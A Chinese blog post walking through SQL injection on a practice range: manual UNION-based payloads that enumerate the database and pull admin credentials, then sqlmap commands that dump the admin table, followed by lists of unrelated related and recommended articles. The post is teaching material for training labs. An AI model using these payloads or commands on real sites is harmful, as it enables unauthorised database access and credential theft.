靶场地址:封神台

方法一、首先尝试手工找注入点判断

第一步,判断是否存在sql注入漏洞
构造 ?id=1 and 1=1 ,回车,页面返回正常

构造 ?id=1 and 1=2 ,回车,页面不正常,初步判断这里 可能 存在一个注入漏洞
 
第二步:判断字段数
构造 ?id=1 and 1=1 order by 1 回车,页面正常

构造 ?id=1 and 1=1 order by 2 回车,页面正常

构造 ?id=1 and 1=1 order by 3 回车,页面返回 错误,判断字段数为   2
 
第三步:判断会显点
构造 ?id=1 and 1=2 union select 1,2 回车,页面出现了  2  ,说明我们可以在数字  2  处显示我们想要的内容
 
第四步:查询相关内容
 
查询当前数据库名
构造 ?id=1 and 1=2 union select 1,database() 回车
 

查询当前数据库版本

构造 ?id=1 and 1=2 union select 1,version() 回车
 
查询当前数据库 表名
构造 ?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1 回车
 

绝大数情况下,管理员的账号密码都在admin表里

 
查询字段名
构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1 回车
 
构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1 回车
 
构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1 回车
 

查出 admin 表里 有  id   username  password  三个字段

 
查询字段内容
构造 ?id=1 and 1=2 union select 1,username from admin  limit 0,1 回车
 
构造 ?id=1 and 1=2 union select 1,password from admin  limit 1,1 回车
 

limit 1,1 没有回显,说明只有一个用户

构造 ?id=1 and 1=2 union select 1,password from admin  limit 0,1 回车
 
方法二、上sqlmap
 
(1) 猜解是否能注入
sqlmap.py -u “xxx:8003/index.php?id=1”
(2)猜解表

sqlmap.py -u “xxx:/index.php?id=1” --tables

根据猜解的表进行猜解表的字段

win: python sqlmap.py -u "xxx:8003/index.php?id=1" --columns -T admin

根据字段猜解内容

sqlmap.py -u “xxx.xxx.xxx.xxx:/index.php?id=1” -D maoshe -T admin -C password,username --dump #-D 接数据库名字 -T接表名 -C接要查的字段名称逗号隔开 --dump 生成dump文件

爆出需要的字段

方法三、穿山甲等其他工具
       以下省略n个字段
 
声明:博客内容仅供学习交流,用于违法目的请自行负责
 
 

靶场sql注入练手----sqlmap篇(纯手打)的更多相关文章

  1. 安全攻防之SQL注入(通过sqlmap搞定所有问题)

    第一步: sqlmap基于Python,所以首先下载: http://yunpan.cn/QiCBLZtGGTa7U  访问密码 c26e 第二步: 安装Python,将sqlmap解压到Python ...

  2. sql注入工具:sqlmap命令

    sqlmap是一款专业的sql注入工具, 让你告别人工注入, 程序高效自动注入 前提是你有找到注入点 , 工具的官方网站:http://sqlmap.org/ kali系统默认安装sqlmap, 不需 ...

  3. 讲sql注入原理的 这篇不错(有空可以看看)

    我们围绕以下几个方面来看这个问题: 1.什么是sql注入? 2.为什么要sql注入? 3.怎样sql注入? 1.什么是sql注入? 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或 ...

  4. pick靶场-sql注入

    甲.数字型注入 数字型注入一般提交值没有引号,所以直接在后面构造语句就可以了. 抓包查看 构造语句 提交后 该数据库表内容被爆出来了. 乙.字符型注入 首先我们要知道一点,字符串在数据库中提交是需要用 ...

  5. Pikachu靶场SQL注入刷题记录

    数字型注入 0x01 burp抓包,发送至repeater 后面加and 1=1,and 1=2 可判断存在注入 0x02 通过order by判断字段数,order by 2 和order by 3 ...

  6. 【渗透攻防Web篇】SQL注入攻击高级

    前言 前面我们学习了如何寻找,确认,利用SQL注入漏洞的技术,本篇文章我将介绍一些更高级的技术,避开过滤,绕开防御.有攻必有防,当然还要来探讨一下SQL注入防御技巧. 目录 第五节 避开过滤方法总结 ...

  7. 初识sql注入及sqlmap

    对于sql注入小白的我,上午在红黑联盟的网站上恶补了一下sql注入的基础知识,(走马观花)似乎明白sql注入是怎么一回事,也看了一些关于sqlmap的资料,再次记录一下吧 下面是关于sqlmap这个工 ...

  8. 登陆页面Sql注入(绕过)

    如图,看到这道题的时候发觉之前做过一个类似的手工注入: 不过这次手注会失败,后台过滤了sql语句里的一些东西,但我们并不知道过滤了什么 到这里我就基本上没辙了,不过查询了资料以后发现sqlmap可以对 ...

  9. 10年前,我就用 SQL注入漏洞黑了学校网站

    我是风筝,公众号「古时的风筝」,一个兼具深度与广度的程序员鼓励师,一个本打算写诗却写起了代码的田园码农! 文章会收录在 JavaNewBee 中,更有 Java 后端知识图谱,从小白到大牛要走的路都在 ...

随机推荐

  1. mybatis解决字段名和实体属性不相同

    两种方法: 1.在xml文件里面使用别名 2.使用resultMap标签

  2. CSS3幸运大转盘最简单的写法

    点击开始 直接css动画 如果你要自己控制转到哪里 那就多写几个class 根据不同角度 运行不同的class..<pre>.zhuandong{ animation: zhuandong ...

  3. 初次用R的实际案例数据分析

    这是一次教授布置的期末作业,也是书籍<商务数据分析与应用>的一个课后作业 目录 数据描述 数据预处理 描述性统计分析 模型分析(方差分析) 数据描述 非学位职业培训机构的178个学员的数据 ...

  4. SSM基本依赖及配置

    需要了解具体配置文件的作用到:SSM基本配置详解 示例项目:SSMDemo 依赖 基本依赖 <properties> <spring.version>5.0.6.RELEASE ...

  5. Java 线程的基本使用

    GitHub Page: http://blog.cloudli.top/posts/Java-线程的基本使用/ 创建线程 创建线程的方式有两种: 继承 Thread 类 实现 Runnable 接口 ...

  6. 未在本地计算机上注册“microsoft.ACE.oledb.12.0”提供程序报错的解决办法

    https://www.jb51.net/article/157457.htm 下载32位版本安装即可 Microsoft Access Database Engine Redistributable ...

  7. linux centos无法删除网站根目录下的.user.ini解决办法

    .user.ini文件在执行rm -rf时,提示无法删除 解决办法 首先了解下chattr命令的作用:不让用户修改.删除文件等. -i选项:设定文件不能被删除.改名.设定链接关系,同时不能写入或新增内 ...

  8. TinyMCE入门

    引入TinyMCE脚本 <script src="https://cdn.tiny.cloud/1/no-api-key/tinymce/5/tinymce.min.js" ...

  9. docker 部署mysql redis

    先介绍利用的两个数据卷挂载的规则,这对于理解挂载mysql数据库存储非常有帮助. 如果挂载一个空的数据卷到容器中的一个非空目录中,那么这个目录下的文件会被复制到数据卷中. 如果挂载一个非空的数据卷到容 ...

  10. Vue入门篇

    Vue-cli开发环境搭建 1. 安装nodejs 2. 设置缓存文件夹 $ npm config set cache "D:\vueProject\nodejs\node_cache&qu ...